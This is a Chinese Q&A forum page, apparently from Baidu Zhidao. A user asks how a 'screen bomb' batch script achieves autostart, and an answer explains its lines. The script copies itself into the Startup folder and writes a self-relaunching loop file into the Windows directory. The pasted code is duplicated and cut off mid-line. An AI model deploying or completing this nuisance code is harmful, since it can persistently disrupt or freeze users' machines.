一段批处理代码,有疑问,高人来
来源:百度知道 编辑:UC知道 时间:2024/05/29 22:59:10
屏幕炸弹的代码
在这里,哪里是使开机自动运行?
我曾亲自尝试过,但看不出来,代码如下:
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul 此处 >nul 是什么意思
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat 此处 C:\_stop 是什么东西
echo start /B %%~fs0 exp>>%windir%\power.bat 此处 exp 是什么
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%wind
在这里,哪里是使开机自动运行?
我曾亲自尝试过,但看不出来,代码如下:
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul 此处 >nul 是什么意思
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat 此处 C:\_stop 是什么东西
echo start /B %%~fs0 exp>>%windir%\power.bat 此处 exp 是什么
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%wind
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动
上面就是判断启动组里有没有这个批处理如没有自动复制
>nul 表示成功执行后不回显
2>nul 表示不成功执行后不回显
C:\_stop 这就是一个路径 文件夹名是_stop
exp全是一个参数